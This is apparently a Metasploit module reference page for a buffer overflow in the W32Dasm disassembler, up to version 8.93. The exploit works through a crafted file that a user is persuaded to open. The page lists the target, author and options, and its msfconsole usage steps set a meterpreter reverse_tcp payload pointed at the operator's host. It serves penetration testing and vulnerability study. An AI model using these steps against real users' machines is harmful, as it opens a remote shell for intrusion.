URSoft W32Dasm Disassembler Function Buffer Overflow
This module exploits a buffer overflow in W32Dasm <= v8.93. By creating a malicious file and convincing a user to disassemble the file with a vulnerable version of W32Dasm, the Imports/Exports function is copied to the stack and arbitrary code may be executed locally as the user.
Exploit Rank
- Good
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP0 (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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##
msf > use exploit/windows/fileformat/ursoft_w32dasm
msf exploit(ursoft_w32dasm) > show payloads
msf exploit(ursoft_w32dasm) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ursoft_w32dasm) > set LHOST [MY IP ADDRESS]
msf exploit(ursoft_w32dasm) > exploit
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## ## #### ###### #### ##### ##### ## #### ######
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##
msf > use exploit/windows/fileformat/ursoft_w32dasm
msf exploit(ursoft_w32dasm) > show payloads
msf exploit(ursoft_w32dasm) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ursoft_w32dasm) > set LHOST [MY IP ADDRESS]
msf exploit(ursoft_w32dasm) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf-w32dasm.exe) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |